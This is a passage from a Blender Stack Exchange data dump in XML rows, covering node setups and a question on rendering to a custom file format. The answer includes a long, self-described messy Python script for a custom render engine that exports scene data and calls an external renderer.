mesh&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9482" LastEditorUserId="9482" LastEditDate="2015-01-20T15:48:34.670" LastActivityDate="2015-01-20T15:48:34.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23482" PostTypeId="2" ParentId="23475" CreationDate="2015-01-20T13:03:24.867" Score="9" Body="&lt;p&gt;I would propose a simpler set-up, pay attention to the highlighted values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d0xF1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It basically uses two &lt;strong&gt;Mapping&lt;/strong&gt; nodes and one &lt;strong&gt;Vector Math&lt;/strong&gt; node. Note that the first mapping node is optional, just for pre-transformation:&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-01-20T15:21:30.847" LastActivityDate="2015-01-20T15:21:30.847" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23483" PostTypeId="1" CreationDate="2015-01-20T13:05:10.980" Score="1" ViewCount="1069" Body="&lt;p&gt;I have a custom file format that can contain (among other data) videos and still images, along with per-frame and global metadata (like e.g. the camera transformation matrix per frame or the camera FOV).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This custom file format is implemented behind a C API, which in turn is wrapped in a Python class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to implement a custom render output format&lt;/strong&gt;, preferably using the python environment (in other words, are these formats available in the python environment somehow)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other alternative I see is forking the Blender source code and implementing it straight in C++.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: I've already looked at using handlers (&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_61_0/bpy.app.handlers.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_61_0/bpy.app.handlers.html&lt;/a&gt;) and that seems like a possible alternate course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately that requires an operator which I try to avoid, and I also prefer to see my file format next to the PNGs and AVI's in the output format list.&lt;/p&gt;&#xA;" OwnerUserId="11083" LastActivityDate="2015-01-20T15:22:36.303" Title="Can I render to a custom output file format?" Tags="&lt;rendering&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23484" PostTypeId="2" ParentId="23483" CreationDate="2015-01-20T14:04:05.640" Score="4" Body="&lt;p&gt;I don't think that's possible, without adding this to the source and compile it. As workaround you can try to create a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.types.RenderEngine.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom render engine&lt;/a&gt; class and create property to add a path to your application like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yx0yv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following script creates a discription scene file (text) for every frame you've selected in the scene and uses custom application to render it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;from mathutils import Vector&#xA;&#xA;# LOGIC&#xA;class CustomRenderEngine(bpy.types.RenderEngine):&#xA;&#xA;    # These three members are used by blender to set up the&#xA;    # RenderEngine; define its internal name, visible name and capabilities.&#xA;    bl_idname = 'custom_renderer'&#xA;    bl_label = 'Application Name'&#xA;    bl_use_preview = True&#xA;&#xA;    def formatNumbers(self, number):&#xA;        return '%0*d' % (4, number)&#xA;&#xA;    def get_allObjectsInSceneByType(self, type_string):&#xA;        objects = []&#xA;        for objs in bpy.data.objects: # searches for type in the selection&#xA;            if (objs.type == type_string):&#xA;                if objs.hide == True:&#xA;                    pass&#xA;                else:&#xA;                    objects.append(objs)&#xA;        return objects&#xA;&#xA;    # Return Object Transformations&#xA;    def get_objectLocation(self, object):&#xA;        return bpy.data.objects[object.name].location&#xA;&#xA;    def get_objectRotation(self, object):&#xA;        return bpy.data.objects[object.name].rotation_euler&#xA;&#xA;    def get_objectScale(self, object):&#xA;        return bpy.data.objects[object.name].scale&#xA;&#xA;    # Return Geo Type&#xA;    def get_geoType(self, object):&#xA;        verticies = []&#xA;        for vertex in object.data.vertices:  &#xA;            verticies.append(vertex.co)&#xA;        if len(verticies) == 8:&#xA;            return &quot;CUBE&quot;&#xA;        else:&#xA;            return &quot;SPHERE&quot;&#xA;&#xA;    # Return verticies of Object&#xA;    def get_objectVerts(self, object):&#xA;        verticies = []&#xA;        for vertex in object.data.vertices:  &#xA;            verticies.append(vertex.co)&#xA;            #print (vertex.co)&#xA;        return verticies&#xA;&#xA;    # Return Geo Center &#xA;    def get_GeometryCenter(self,obj):&#xA;&#xA;        sumWCoord = [0,0,0]&#xA;        numbVert = 0&#xA;        if obj.type == 'MESH':&#xA;            for vert in obj.data.vertices:&#xA;                wmtx = obj.matrix_world&#xA;                worldCoord = vert.co * wmtx&#xA;                sumWCoord[0] += worldCoord[0]&#xA;                sumWCoord[1] += worldCoord[1]&#xA;                sumWCoord[2] += worldCoord[2]&#xA;                numbVert += 1&#xA;            sumWCoord[0] = sumWCoord[0]/numbVert&#xA;            sumWCoord[1] = sumWCoord[1]/numbVert&#xA;            sumWCoord[2] = sumWCoord[2]/numbVert&#xA;        return sumWCoord&#xA;&#xA;    # Return max vert distance&#xA;    def max_vertDistance(self, ob):&#xA;&#xA;        verts = ob.data.vertices&#xA;        centre = Vector([0,0,0])&#xA;        for vert in verts:&#xA;            centre += vert.co&#xA;&#xA;        centre = centre / len(verts)&#xA;        distanceFromCentre = 0.0&#xA;&#xA;        for vert in verts:&#xA;            vecFromCentre = vert.co - centre&#xA;            vertDistanceFromCentre = vecFromCentre.length&#xA;            if vertDistanceFromCentre &amp;gt; distanceFromCentre:&#xA;                distanceFromCentre = vertDistanceFromCentre&#xA;                vert1 = vert&#xA;&#xA;        distance = 0.0&#xA;        for vert in verts:&#xA;            vec = vert.co - vert1.co&#xA;            vertsDistance = vec.length&#xA;            if vertsDistance &amp;gt; distance:&#xA;                distance = vertsDistance&#xA;                vert2 = vert&#xA;&#xA;        #return vert1, vert2, distance&#xA;        print (&quot;vert:&quot;, vert1.co)&#xA;        return vert1.co, vert2.co&#xA;&#xA;    # Return max vert distance NEW&#xA;    def max_vertDistance2(self, ob):&#xA;&#xA;        verts = ob.data.vertices&#xA;        centre = Vector([0,0,0])&#xA;        for vert in verts:&#xA;            centre += vert.co&#xA;&#xA;        centre = centre / len(verts)&#xA;        distanceFromCentre = 0.0&#xA;&#xA;        for vert in verts:&#xA;            vecFromCentre = vert.co - centre&#xA;            vertDistanceFromCentre = vecFromCentre.length&#xA;            if vertDistanceFromCentre &amp;gt; distanceFromCentre:&#xA;                distanceFromCentre = vertDistanceFromCentre&#xA;                vert1 = vert&#xA;&#xA;        distance = 0.0&#xA;        for vert in verts:&#xA;            vec = vert.co - vert1.co&#xA;            vertsDistance = vec.length&#xA;            if vertsDistance &amp;gt; distance:&#xA;                distance = vertsDistance&#xA;                vert2 = vert&#xA;&#xA;        twoVerts = [vert1, vert2]&#xA;&#xA;        newTwo = []&#xA;        wm = ob.matrix_world&#xA;        for v in twoVerts:&#xA;            world = wm * v.co&#xA;            #print(world)&#xA;            newTwo.append(world)&#xA;&#xA;        #return vert1.co, vert2.co&#xA;        return newTwo&#xA;&#xA;    # Calculate Raduis of sphere&#xA;    def get_radiusSphere(self, obj):&#xA;        return (obj.dimensions[0] / 2)&#xA;&#xA;    # Return Materials of Geo&#xA;    def get_material(self, object):&#xA;&#xA;        mat_diff = bpy.data.objects[object.name].active_material.diffuse_color&#xA;        mat_diff_int = bpy.data.objects[object.name].active_material.diffuse_intensity&#xA;        mat_spec = bpy.data.objects[object.name].active_material.specular_color&#xA;        mat_spec_int = bpy.data.objects[object.name].active_material.specular_intensity&#xA;        mat_amb = bpy.data.worlds[&quot;World&quot;].ambient_color&#xA;        mat_amb_int = bpy.data.worlds[&quot;World&quot;].custom.world_amount&#xA;&#xA;        return mat_diff, mat_diff_int, mat_spec, mat_spec_int, mat_amb_int&#xA;&#xA;    def diff_dimensions(self, dimensions):&#xA;        dimList = [round(dimensions.x, 3), round(dimensions.y, 3), round(dimensions.z, 3)]&#xA;        return [i for i in dimList if dimList.count(i) &amp;gt; 1]&#xA;&#xA;    # Return Material List&#xA;    def get_materialList(self):&#xA;        materialNames = []&#xA;        for material in bpy.data.materials:&#xA;            materialNames.append(material.name)&#xA;        return materialNames&#xA;&#xA;    def app_materials(self):&#xA;        string = &quot;&quot;&#xA;&#xA;        amb_r = bpy.context.scene.world.ambient_color.r&#xA;        amb_g = bpy.context.scene.world.ambient_color.g&#xA;        amb_b = bpy.context.scene.world.ambient_color.b&#xA;        ambient_int = bpy.context.scene.world.custom.world_amount        &#xA;&#xA;        for i in bpy.data.materials:&#xA;            diff_r = bpy.data.materials[i.name].diffuse_color.r&#xA;            diff_g = bpy.data.materials[i.name].diffuse_color.g&#xA;            diff_b = bpy.data.materials[i.name].diffuse_color.b&#xA;            diff_int = bpy.data.materials[i.name].diffuse_intensity&#xA;&#xA;            spec_r = bpy.data.materials[i.name].specular_color.r&#xA;            spec_b = bpy.data.materials[i.name].specular_color.b&#xA;            spec_g = bpy.data.materials[i.name].specular_color.g&#xA;            spec_int = bpy.data.materials[i.name].specular_intensity&#xA;            spec_hardness = bpy.data.materials[i.name].specular_hardness&#xA;&#xA;            string += (&quot;define material &quot;) + i.name + &quot; &quot;&#xA;&#xA;            # ambient&#xA;            string += str(amb_r * ambient_int)[:5] + &quot; &quot;&#xA;            string += str(amb_b * ambient_int)[:5] + &quot; &quot;&#xA;            string += str(amb_g * ambient_int)[:5] + &quot; &quot;&#xA;&#xA;            # diffuse&#xA;            string += str(diff_r * diff_int)[:5] + &quot; &quot;&#xA;            string += str(diff_g * diff_int)[:5] + &quot; &quot;&#xA;            string += str(diff_b * diff_int)[:5] + &quot; &quot;&#xA;&#xA;            # specular&#xA;            string += str(spec_r * spec_int)[:5] + &quot; &quot;&#xA;            string += str(spec_g * spec_int)[:5] + &quot; &quot;&#xA;            string += str(spec_b* spec_int)[:5] + &quot; &quot;&#xA;            string += str(spec_hardness)        &#xA;&#xA;            string += &quot;\n&quot;&#xA;&#xA;        return string&#xA;&#xA;    # This is the only method called by blender, in this example&#xA;    # we use it to detect preview rendering and call the implementation&#xA;    # in another method.&#xA;    def render(self, scene):&#xA;        scale = scene.render.resolution_percentage / 100.0&#xA;        self.size_x = int(scene.render.resolution_x * scale)&#xA;        self.size_y = int(scene.render.resolution_y * scale)&#xA;&#xA;        if scene.name == 'preview':&#xA;            self.render_preview(scene)&#xA;        else:&#xA;            self.render_scene(scene)&#xA;&#xA;    # In this example, we fill the preview renders with a flat green color.&#xA;    def render_preview(self, scene):&#xA;        pixel_count = self.size_x * self.size_y&#xA;&#xA;        # The framebuffer is defined as a list of pixels, each pixel&#xA;        # itself being a list of R,G,B,A values&#xA;        green_rect = [[0.0, 1.0, 0.0, 1.0]] * pixel_count&#xA;&#xA;        # Here we write the pixel values to the RenderResult&#xA;        result = self.begin_result(0, 0, self.size_x, self.size_y)&#xA;        layer = result.layers[0]&#xA;        layer.rect = green_rect&#xA;        self.end_result(result)&#xA;&#xA;    # In this example, we fill the full renders with a flat blue color.&#xA;    def render_scene(self, scene):&#xA;        pixel_count = self.size_x * self.size_y&#xA;&#xA;        materialstring = self.app_materials()&#xA;&#xA;        # collect geometry&#xA;        geo = self.get_allObjectsInSceneByType(&quot;MESH&quot;)&#xA;        geostring = &quot;&quot;&#xA;        transformstring = &quot;&quot;&#xA;&#xA;        for item in geo:&#xA;&#xA;            if (self.get_geoType(item) == &quot;CUBE&quot;):&#xA;&#xA;                #print (&quot;Location:&quot;, self.get_objectLocation(item))&#xA;                #print (&quot;CENTER IS:&quot;, self.get_GeometryCenter(item))&#xA;                #print (&quot;dimensions:&quot;, item.dimensions)&#xA;                #self.get_objectVerts(item)&#xA;&#xA;                geostring += &quot;define shape box &quot;&#xA;                geostring += item.name + &quot; &quot;&#xA;&#xA;                # first point&#xA;                geostring += str(self.max_vertDistance2(item)[0][0])[:5] + &quot; &quot;&#xA;                geostring += str(self.max_vertDistance2(item)[0][3])[:5] + &quot; &quot;&#xA;                geostring += str(self.max_vertDistance2(item)[0][4])[:5] + &quot; &quot;&#xA;&#xA;                # second point&#xA;                geostring += str(self.max_vertDistance2(item)[1][0])[:5] + &quot; &quot;&#xA;                geostring += str(self.max_vertDistance2(item)[1][5])[:5] + &quot; &quot;&#xA;                geostring += str(self.max_vertDistance2(item)[1][6])[:5] + &quot; &quot;&#xA;&#xA;                # material&#xA;                geostring += &quot; &quot; + bpy.data.objects[item.name].active_material.name&#xA;                geostring += &quot;\n&quot;&#xA;&#xA;            else:&#xA;&#xA;                geostring += &quot;define shape sphere &quot;               &#xA;                geostring += item.name + &quot; &quot;&#xA;&#xA;                # center&#xA;                geostring += str(self.get_objectLocation(item)[0])[:5] + &quot; &quot;&#xA;                geostring += str(self.get_objectLocation(item)[2])[:5] + &quot; &quot;&#xA;                geostring += str(self.get_objectLocation(item)[1])[:5] + &quot; &quot;&#xA;&#xA;                # radius&#xA;                geostring += str(self.get_radiusSphere(item))[:5]&#xA;&#xA;                geostring += &quot; &quot; + bpy.data.objects[item.name].active_material.name&#xA;                geostring += &quot;\n&quot;&#xA;&#xA;                # check for transformation&#xA;                dims = bpy.data.objects[item.name].dimensions                &#xA;                #print (round(dims.x, 3), round(dims.y, 3), round(dims.z, 3))&#xA;                #print (self.diff_dimensions(dims))&#xA;&#xA;                if len(self.diff_dimensions(dims)) &amp;lt; 3:&#xA;                    #print (&quot;Transformation found!&quot;, item.name)&#xA;                    scle = bpy.data.objects[item.name].scale&#xA;                    transformstring += &quot;transform &quot;&#xA;                    transformstring += item.name + &quot; scale &quot; + str(round(scle.x,3)) + &quot; &quot; + str(round(scle.z,3)) + &quot; &quot; + str(round(scle.y,3)) + &quot;\n&quot; &#xA;                    transformstring += &quot;transform &quot; + item.name + &quot; translate 0 0 0\n&quot;      &#xA;                '''&#xA;                print (scene.custom.app_path)&#xA;                print (scene.custom.scene_name)&#xA;                print (bpy.data.worlds[&quot;World&quot;].ambient_color)&#xA;                print (bpy.context.scene.world.ambient_color)&#xA;                print (self.get_materialList())&#xA;                '''&#xA;&#xA;        # collect lamps&#xA;        lamps = self.get_allObjectsInSceneByType(&quot;LAMP&quot;)&#xA;        lampstring = &quot;&quot;&#xA;&#xA;        amb_r = bpy.context.scene.world.ambient_color.r&#xA;        amb_g = bpy.context.scene.world.ambient_color.g&#xA;        amb_b = bpy.context.scene.world.ambient_color.b&#xA;&#xA;        for i in lamps:&#xA;            lampstring += &quot;define light &quot; + i.name + &quot; &quot;&#xA;&#xA;            # position&#xA;            lampstring += str(self.get_objectLocation(i)[0])[:5] + &quot; &quot;&#xA;            lampstring += str(self.get_objectLocation(i)[2])[:5] + &quot; &quot;&#xA;            lampstring += str(self.get_objectLocation(i)[1])[:5] + &quot; &quot;&#xA;&#xA;            # light ambient&#xA;            lampstring += str(amb_r)[:5] + &quot; &quot;&#xA;            lampstring += str(amb_g)[:5] + &quot; &quot;&#xA;            lampstring += str(amb_b)[:5] + &quot; &quot;&#xA;&#xA;            # light diffuse&#xA;            lamp_energy = bpy.data.lamps[i.name].energy&#xA;            lampstring += str(bpy.data.lamps[i.name].color[0] * lamp_energy)[:5] + &quot; &quot;&#xA;            lampstring += str(bpy.data.lamps[i.name].color[1] * lamp_energy)[:5] + &quot; &quot;&#xA;            lampstring += str(bpy.data.lamps[i.name].color[2] * lamp_energy)[:5] + &quot; &quot;&#xA;&#xA;            lampstring += &quot;\n&quot;&#xA;&#xA;            #print (&quot;Lamp energy:&quot;, bpy.data.lamps[i.name].energy)&#xA;            #print (&quot;Lamp color:&quot;, bpy.data.lamps[i.name].color)&#xA;            #print (&quot;Lamp location:&quot;, self.get_objectLocation(i))&#xA;&#xA;        # get active camera&#xA;&#xA;        obj_camera = bpy.context.scene.camera&#xA;        cameraName = obj_camera.name&#xA;        camerastring = &quot;define camera &quot; + cameraName + &quot; &quot;&#xA;        camerastring += str(bpy.data.cameras[cameraName].lens)[:5] + &quot; &quot;&#xA;        #camerastring += &quot;35&quot; + &quot; &quot;&#xA;        camerastring += str(self.get_objectLocation(obj_camera)[0])[:5] + &quot; &quot;&#xA;        camerastring += str(self.get_objectLocation(obj_camera)[2])[:5] + &quot; &quot;&#xA;        camerastring += str(self.get_objectLocation(obj_camera)[1])[:5] + &quot; &quot;&#xA;&#xA;        # calculate up and direction vector&#xA;        cam = bpy.data.objects[obj_camera.name]&#xA;        #up = cam.matrix_world * Vector((0.0, 1.0, 0.0))&#xA;        #up = cam.matrix_world.to_3x3() * Vector((0.0, 1.0, 0.0))&#xA;&#xA;        up = cam.matrix_world.to_quaternion() * Vector((0.0, 1.0, 0.0))&#xA;        #up = Vector((0.0, 1.0, 0.0))&#xA;        print (&quot;UPVECTOR:&quot;, up)&#xA;&#xA;        #cam_direction = cam.matrix_world * Vector((0.0, 0.0, -1.0))&#xA;        #cam_direction = cam.matrix_world.to_3x3() * Vector((0.0, 0.0, -1.0))&#xA;&#xA;        cam_direction = cam.matrix_world.to_quaternion() * Vector((0.0, -1.0, -1.0))&#xA;&#xA;        #cam_direction = Vector((0.0, 0.0, -1.0))&#xA;        #cam_direction.normalize()&#xA;        #up.normalize()&#xA;&#xA;        camerastring += str(cam_direction[0])[:5] + &quot; &quot;&#xA;        camerastring += str(cam_direction[1])[:5] + &quot; &quot;&#xA;        camerastring += str(cam_direction[2])[:5] + &quot; &quot;&#xA;&#xA;        camerastring += str(up[0])[:5] + &quot; &quot;&#xA;        camerastring += str(up[1])[:5] + &quot; &quot;&#xA;        camerastring += str(up[2])[:5] + &quot; &quot;&#xA;&#xA;        camerastring += &quot;\n&quot;&#xA;&#xA;        #camerastring = &quot;define camera auge 60.0 1.0 1.0 3 0 -0.1 -1.0 0 1 0\n&quot;&#xA;&#xA;        # background color&#xA;&#xA;        bgColor = bpy.data.worlds[&quot;World&quot;].ambient_color&#xA;        bgColorstring = &quot;define background-color &quot; + str(bgColor[0]) + &quot; &quot; + str(bgColor[1]) + &quot; &quot; + str(bgColor[2]) + &quot;\n&quot;&#xA;&#xA;&#xA;        # ------------------------------------------------------------------------&#xA;        # render settings&#xA;        # ------------------------------------------------------------------------&#xA;&#xA;        renderer = bpy.path.abspath(scene.custom.app_path)&#xA;        frameNumber = bpy.data.scenes[&quot;Scene&quot;].frame_current&#xA;&#xA;        scenename = scene.custom.scene_name        &#xA;        scale = scene.render.resolution_percentage / 100.0&#xA;        size_x = int(scene.render.resolution_x * scale)&#xA;        size_y = int(scene.render.resolution_y * scale)&#xA;&#xA;        if not scenename:&#xA;            scenename = &quot;AppScene&quot;&#xA;&#xA;        outfile_ppm = bpy.data.scenes[&quot;Scene&quot;].render.filepath + scenename + &quot;_&quot; + str(self.formatNumbers(frameNumber)) + &quot;.ppm&quot;&#xA;        outfile_custom = bpy.data.scenes[&quot;Scene&quot;].render.filepath + scenename + &quot;_&quot; + str(self.formatNumbers(frameNumber)) + &quot;.sdf&quot;&#xA;&#xA;        rendersettingstring = &quot;render &quot; + obj_camera.name + &quot; &quot;&#xA;        rendersettingstring += outfile_ppm + &quot; &quot;&#xA;        rendersettingstring += str(size_x) + &quot; &quot;&#xA;        rendersettingstring += str(size_y) + &quot; &quot;&#xA;        rendersettingstring += &quot;\n&quot;&#xA;&#xA;        file_content = bgColorstring + materialstring + geostring + transformstring + lampstring + camerastring + rendersettingstring&#xA;&#xA;        # write custom file&#xA;        f = open(outfile_custom,'w')&#xA;        f.write(file_content)&#xA;        f.close()&#xA;&#xA;        import signal&#xA;        import subprocess, time&#xA;&#xA;        # for single image&#xA;        single_frame = subprocess.call([renderer, outfile_sdf])&#xA;&#xA;        # for animation&#xA;        '''&#xA;        app_animation = subprocess.Popen([renderer, outfile_sdf])&#xA;        print ('app_animation\'s pid = ',app_animation.pid)&#xA;        time.sleep(170)&#xA;        app_animation.terminate()&#xA;        '''         &#xA;        print (materialstring + geostring + lampstring + camerastring + rendersettingstring)&#xA;&#xA;        # The framebuffer is defined as a list of pixels, each pixel&#xA;        # itself being a list of R,G,B,A values&#xA;        blue_rect = [[0.0, 0.0, 1.0, 1.0]] * pixel_count&#xA;&#xA;        # Here we write the pixel values to the RenderResult&#xA;        result = self.begin_result(0, 0, self.size_x, self.size_y)&#xA;        layer = result.layers[0]&#xA;        layer.rect = blue_rect&#xA;        self.end_result(result)&#xA;&#xA;&#xA;# Register the RenderEngine&#xA;bpy.utils.register_class(CustomRenderEngine)&#xA;&#xA;# ======================================================================================&#xA;# UI&#xA;# ======================================================================================&#xA;&#xA;from bpy.types import (AddonPreferences,&#xA;                       PropertyGroup,&#xA;                       Operator,&#xA;                       )&#xA;from bpy.props import (StringProperty,&#xA;                       BoolProperty,&#xA;                       IntProperty,&#xA;                       FloatProperty,&#xA;                       FloatVectorProperty,&#xA;                       EnumProperty,&#xA;                       PointerProperty,&#xA;                       )&#xA;&#xA;# -----------------------------------------------------------------------------------&#xA;# Render properties&#xA;# example: https://github.com/meta-androcto/blenderpython/blob/master/scripts/archive/game_gamekit/ui.py&#xA;# -----------------------------------------------------------------------------------&#xA;&#xA;from bl_ui import properties_render&#xA;properties_render.RENDER_PT_render.COMPAT_ENGINES.add('custom_renderer')&#xA;properties_render.RENDER_PT_dimensions.COMPAT_ENGINES.add('custom_renderer')&#xA;#properties_render.RENDER_PT_antialiasing.COMPAT_ENGINES.add('custom_renderer')&#xA;#properties_render.RENDER_PT_shading.COMPAT_ENGINES.add('custom_renderer')&#xA;properties_render.RENDER_PT_output.COMPAT_ENGINES.add('custom_renderer')&#xA;del properties_render&#xA;&#xA;class RenderButtonsPanel():&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;render&quot;&#xA;    # COMPAT_ENGINES must be defined in each subclass, external engines can add themselves here&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        rd = context.scene.render&#xA;        return (rd.use_game_engine is False) and (rd.engine in cls.COMPAT_ENGINES)&#xA;&#xA;class RenderCustomSettingsScene(PropertyGroup):&#xA;&#xA;    deletefiles_enable = BoolProperty(&#xA;            name=&quot;Delete files&quot;,&#xA;            description=&quot;Delete files after rendering.&quot;,&#xA;            default=True)&#xA;    scene_name = StringProperty(&#xA;            name=&quot;Scene Name&quot;,&#xA;            description=&quot;Name of sdf scene to create.&quot;,&#xA;            maxlen=1024)&#xA;    app_path = StringProperty(&#xA;            name=&quot;Export scene path&quot;,&#xA;            # description=&quot;Path to directory where the exported scene is created&quot;&#xA;            description=&quot;Path to Custom Engine&quot;,&#xA;            maxlen=1024, subtype=&quot;FILE_PATH&quot;)&#xA;&#xA;class RENDER_PT_custom_export_settings(RenderButtonsPanel, bpy.types.Panel):&#xA;    bl_label = &quot;Render Connection&quot;&#xA;    COMPAT_ENGINES = {'custom_renderer'}&#xA;&#xA;    def draw_header(self, context):&#xA;        self.layout.label(icon='CONSOLE')&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scene = context.scene&#xA;&#xA;        row = layout.row()&#xA;        row.column().prop(scene.custom, &quot;app_path&quot;, text=&quot;Path to App&quot;)&#xA;        row = layout.row()&#xA;        row.column().prop(scene.custom, &quot;scene_name&quot;, text=&quot;Scene Name&quot;)&#xA;        #row = layout.row()&#xA;        #row.column().prop(scene.custom, &quot;deletefiles_enable&quot;, text=&quot;Delete files after Rendering&quot;)&#xA;&#xA;# -----------------------------------------------------------------------------------&#xA;# Material properties&#xA;# -----------------------------------------------------------------------------------&#xA;&#xA;from bl_ui import properties_material&#xA;properties_material.MATERIAL_PT_context_material.COMPAT_ENGINES.add('custom_renderer')&#xA;properties_material.MATERIAL_PT_diffuse.COMPAT_ENGINES.add('custom_renderer')&#xA;#properties_material.MATERIAL_PT_preview.COMPAT_ENGINES.add('custom_renderer')&#xA;#properties_material.MATERIAL_PT_shading.COMPAT_ENGINES.add('custom_renderer')&#xA;#properties_material.MATERIAL_PT_shadow.COMPAT_ENGINES.add('custom_renderer')&#xA;properties_material.MATERIAL_PT_specular.COMPAT_ENGINES.add('custom_renderer')&#xA;#properties_material.MATERIAL_PT_transp.COMPAT_ENGINES.add('custom_renderer')&#xA;del properties_material&#xA;&#xA;class MaterialButtonsPanel():&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;material&quot;&#xA;    # COMPAT_ENGINES must be defined in each subclass, external engines can add themselves here&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        mat = context.material&#xA;        rd = context.scene.render&#xA;        return mat and (rd.use_game_engine is False) and (rd.engine in cls.COMPAT_ENGINES)&#xA;&#xA;class RenderCustomSettingsMaterial(PropertyGroup):&#xA;&#xA;    test_enable = BoolProperty(&#xA;        name=&quot;Enable&quot;,&#xA;        description=&quot;test enabler&quot;,&#xA;        default=False)&#xA;&#xA;    test_amount = FloatProperty(&#xA;        name=&quot;amount&quot;,&#xA;        description=&quot;test&quot;,&#xA;        min=0.0, max=1.0, soft_min=0.01, soft_max=1.0, default=0.25)&#xA;&#xA;# -----------------------------------------------------------------------------------&#xA;# Camera properties&#xA;# -----------------------------------------------------------------------------------&#xA;&#xA;from bl_ui import properties_data_camera&#xA;properties_data_camera.DATA_PT_lens.COMPAT_ENGINES.add('custom_renderer')&#xA;del properties_data_camera&#xA;&#xA;# -----------------------------------------------------------------------------------&#xA;# Lamp properties&#xA;# -----------------------------------------------------------------------------------&#xA;&#xA;from bl_ui import properties_data_lamp&#xA;properties_data_lamp.DATA_PT_lamp.COMPAT_ENGINES.add('custom_renderer')&#xA;properties_data_lamp.DATA_PT_preview.COMPAT_ENGINES.add('custom_renderer')&#xA;del properties_data_lamp&#xA;&#xA;# -----------------------------------------------------------------------------------&#xA;# World properties&#xA;# -----------------------------------------------------------------------------------&#xA;&#xA;from bl_ui import properties_world&#xA;class WorldButtonsPanel():&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;world&quot;&#xA;    # COMPAT_ENGINES must be defined in each subclass, external engines can add themselves here&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        wld = context.world&#xA;        rd = context.scene.render&#xA;        return wld and (rd.use_game_engine is False) and (rd.engine in cls.COMPAT_ENGINES)&#xA;&#xA;class RenderCustomSettingsWorld(PropertyGroup):        &#xA;&#xA;    world_amount = FloatProperty(&#xA;        name=&quot;amount&quot;,&#xA;        description=&quot;test&quot;,&#xA;        min=0.0, max=1.0, soft_min=0.01, soft_max=1.0, default=0.25)&#xA;&#xA;class WORLD_PT_world(WorldButtonsPanel, bpy.types.Panel):&#xA;    bl_label = &quot;World&quot;&#xA;    COMPAT_ENGINES = {'custom_renderer'}&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        wld = context.world&#xA;&#xA;        row = layout.row()&#xA;        row.column().prop(wld, &quot;ambient_color&quot;)&#xA;        #row = layout.row()&#xA;        #row.column().prop(wld, &quot;world_amount&quot;)&#xA;        row = layout.row()&#xA;        row.column().prop(wld.custom, &quot;world_amount&quot;, slider=True)&#xA;&#xA;#bpy.utils.register_class(WORLD_PT_world)&#xA;&#xA;&#xA;# ======================================================================================&#xA;# Register&#xA;# ======================================================================================&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.custom = PointerProperty(type=RenderCustomSettingsScene)&#xA;    #bpy.types.Material.custom = PointerProperty(type=RenderCustomSettingsMaterial)&#xA;    bpy.types.World.custom = PointerProperty(type=RenderCustomSettingsWorld)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.custom&#xA;    del bpy.types.Material.custom&#xA;    del bpy.types.World.custom&#xA;    del bpy.types.Scene.custom&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: The script was written a while ago, it is a bit messy but I hope you get the idea.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For a simpler approach you can also extend the render panel. Best practice is to take a look into the templates that are shipped with blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4aMLE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To define your custom file output you can create a custom file property like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;app_path = StringProperty(&#xA;            name=&quot;Export files to:&quot;,&#xA;            description=&quot;&quot;&#xA;            description=&quot;Path&quot;,&#xA;            maxlen=1024, subtype=&quot;DIR_PATH&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or use &lt;code&gt;scn.render.filepath&lt;/code&gt;. For this case here you can find a working example: &lt;a href=&quot;https://blender.stackexchange.com/questions/1718/is-it-possible-to-render-only-keyframes-from-dope-sheet/23196#23196&quot;&gt;Is it possible to render only keyframes from Dope-sheet?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-01-20T15:22:36.303" CommentCount="1" ContentLicense="CC 